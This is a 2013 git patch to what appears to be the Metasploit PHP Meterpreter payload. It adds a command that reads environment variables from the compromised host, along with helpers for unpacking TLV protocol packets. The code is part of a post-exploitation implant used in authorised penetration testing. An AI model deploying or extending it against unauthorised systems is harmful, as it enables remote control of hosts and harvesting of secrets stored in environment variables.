From a3337e5de536e96403214d191e7ffd35d8ba57ea Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 26 Nov 2013 23:16:28 -0600 Subject: [PATCH] Add PHP side for meterpreter getenv --- data/meterpreter/ext_server_stdapi.php | 173 +++++++++++++++---------- data/meterpreter/meterpreter.php | 64 ++++++--- 2 files changed, 154 insertions(+), 83 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 4a7df401e6..20cbc03793 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -78,6 +78,14 @@ define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012); define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040); define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041); define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042); +define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043); +define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044); + +# Environment +define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100); +define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101); +define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); + define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); @@ -162,7 +170,7 @@ define("ERROR_CONNECTION_ERROR", 10000); # eval'd twice my_print("Evaling stdapi"); -## +## # Search Helpers ## @@ -197,38 +205,38 @@ define('GLOB_RECURSE',2048); */ if (!function_exists('safe_glob')) { function safe_glob($pattern, $flags=0) { - $split=explode('/',str_replace('\\','/',$pattern)); - $mask=array_pop($split); - $path=implode('/',$split); - if (($dir=opendir($path))!==false) { - $glob=array(); - while (($file=readdir($dir))!==false) { - // Recurse subdirectories (GLOB_RECURSE) - if ( - ( - $flags&GLOB_RECURSE) && is_dir($path."/".$file) - && (!in_array($file,array('.','..')) - # don't follow links to avoid infinite recursion - && (!is_link($path."/".$file)) - ) - ) { - $glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags), - ($flags&GLOB_PATH?'':$file.'/'))); + $split=explode('/',str_replace('\\','/',$pattern)); + $mask=array_pop($split); + $path=implode('/',$split); + if (($dir=opendir($path))!==false) { + $glob=array(); + while (($file=readdir($dir))!==false) { + // Recurse subdirectories (GLOB_RECURSE) + if ( + ( + $flags&GLOB_RECURSE) && is_dir($path."/".$file) + && (!in_array($file,array('.','..')) + # don't follow links to avoid infinite recursion + && (!is_link($path."/".$file)) + ) + ) { + $glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags), + ($flags&GLOB_PATH?'':$file.'/'))); } - // Match file mask - if (fnmatch($mask,$file)) { - if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") ) - && ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) ) - && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) ) - $glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':''); - } - } - closedir($dir); - if (!($flags&GLOB_NOSORT)) sort($glob); - return $glob; - } else { - return false; - } + // Match file mask + if (fnmatch($mask,$file)) { + if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") ) + && ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) ) + && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) ) + $glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':''); + } + } + closedir($dir); + if (!($flags&GLOB_NOSORT)) sort($glob); + return $glob; + } else { + return false; + } } } /** @@ -239,7 +247,7 @@ function safe_glob($pattern, $flags=0) { */ if (!function_exists('fnmatch')) { function fnmatch($pattern, $string) { - return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); + return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); } } @@ -261,7 +269,7 @@ function array_prepend($array, $string, $deep=false) { else $array[$key] = $string.$element; return $array; - + } } @@ -519,13 +527,13 @@ function stdapi_fs_md5($req, &$pkt) { $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); - if (is_callable("md5_file")) { - $md5 = md5_file($path); - } else { - $md5 = md5(file_get_contents($path)); - } - $md5 = pack("H*", $md5); - # Ghetto abuse of file name type to indicate the md5 result + if (is_callable("md5_file")) { + $md5 = md5_file($path); + } else { + $md5 = md5(file_get_contents($path)); + } + $md5 = pack("H*", $md5); + # Ghetto abuse of file name type to indicate the md5 result packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5)); return ERROR_SUCCESS; } @@ -538,13 +546,13 @@ function stdapi_fs_sha1($req, &$pkt) { $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); - if (is_callable("sha1_file")) { - $sha1 = sha1_file($path); - } else { - $sha1 = sha1(file_get_contents($path)); - } - $sha1 = pack("H*", $sha1); - # Ghetto abuse of file name type to indicate the sha1 result + if (is_callable("sha1_file")) { + $sha1 = sha1_file($path); + } else { + $sha1 = sha1(file_get_contents($path)); + } + $sha1 = pack("H*", $sha1); + # Ghetto abuse of file name type to indicate the sha1 result packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1)); return ERROR_SUCCESS; } @@ -573,6 +581,41 @@ function stdapi_sys_config_getuid($req, &$pkt) { } } +if (!function_exists('stdapi_sys_config_getenv')) { +register_command('stdapi_sys_config_getenv'); +function stdapi_sys_config_getenv($req, &$pkt) { + my_print("doing getenv"); + + $variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE); + + # If we decide some day to have sys.config.getenv return all env + # vars when given an empty search list, this is one way to do it. + #if (empty($variable_tlvs)) { + # # We don't have a var to look up, return all of 'em + # $variables = array_keys($_SERVER); + #} else { + # $variables = array(); + # foreach ($variable_tlvs as $tlv) { + # array_push($variables, $tlv['value']); + # } + #} + + foreach ($variable_tlvs as $name) { + $canonical_name = str_replace(array("$","%"), "", $name['value']); + $env = getenv($canonical_name); + if ($env !== FALSE) { + $grp = ""; + $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name)); + $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp)); + } + } + + return ERROR_SUCCESS; +} +} + + # Unimplemented becuase it's unimplementable #if (!function_exists('stdapi_sys_config_rev2self')) { #register_command('stdapi_sys_config_rev2self'); @@ -696,24 +739,24 @@ function close_process($proc) { foreach ($proc['pipes'] as $f) { @fclose($f); } - if (is_callable('proc_get_status')) { - $status = proc_get_status($proc['handle']); - } else { - # fake a running process on php < 4.3 - $status = array('running' => true); - } + if (is_callable('proc_get_status')) { + $status = proc_get_status($proc['handle']); + } else { + # fake a running process on php < 4.3 + $status = array('running' => true); + } - # proc_close blocks waiting for the child to exit, so if it's still - # running, don't take a chance on deadlock and just sigkill it if we - # can. We can't on php < 4.3, so don't do anything. This will leave - # zombie processes, but that's better than deadlock. - if ($status['running'] == false) { - proc_close($proc['handle']); - } else { - if (is_callable('proc_terminate')) { - proc_terminate($proc['handle'], 9); - } - } + # proc_close blocks waiting for the child to exit, so if it's still + # running, don't take a chance on deadlock and just sigkill it if we + # can. We can't on php < 4.3, so don't do anything. This will leave + # zombie processes, but that's better than deadlock. + if ($status['running'] == false) { + proc_close($proc['handle']); + } else { + if (is_callable('proc_terminate')) { + proc_terminate($proc['handle'], 9); + } + } if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { unset($channel_process_map[$proc['cid']]); } diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index f378732436..c33885d901 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -680,6 +680,30 @@ function tlv_pack($tlv) { return $ret; } +function tlv_unpack($raw_tlv) { + $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); + $type = $tlv['type']; + my_print("len: {$tlv['len']}, type: {$tlv['type']}"); + if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { + $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + } + elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { + $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); + } + elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { + $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); + } + elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { + $tlv = unpack("Nlen/Ntype", $raw_tlv); + $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); + } + else { + my_print("Wtf type is this? $type"); + $tlv = null; + } + return $tlv; +} + function packet_add_tlv(&$pkt, $tlv) { $pkt .= tlv_pack($tlv); } @@ -689,27 +713,10 @@ function packet_get_tlv($pkt, $type) { # Start at offset 8 to skip past the packet header $offset = 8; while ($offset < strlen($pkt)) { - $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8)); + $tlv = tlv_unpack(substr($pkt, $offset)); #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { #my_print("Found one at offset $offset"); - if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - $tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8)); - $tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8); - } - else { - my_print("Wtf type is this? $type"); - $tlv = null; - } return $tlv; } $offset += $tlv['len']; @@ -719,6 +726,27 @@ function packet_get_tlv($pkt, $type) { } +function packet_get_all_tlvs($pkt, $type) { + my_print("Looking for all tlvs of type $type"); + # Start at offset 8 to skip past the packet header + $offset = 8; + $all = array(); + while ($offset < strlen($pkt)) { + $tlv = tlv_unpack(substr($pkt, $offset)); + if ($tlv == NULL) { + break; + } + my_print("len: {$tlv['len']}, type: {$tlv['type']}"); + if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { + my_print("Found one at offset $offset"); + array_push($all, $tlv); + } + $offset += $tlv['len']; + } + return $all; +} + + ## # Functions for genericizing the stream/socket conundrum ##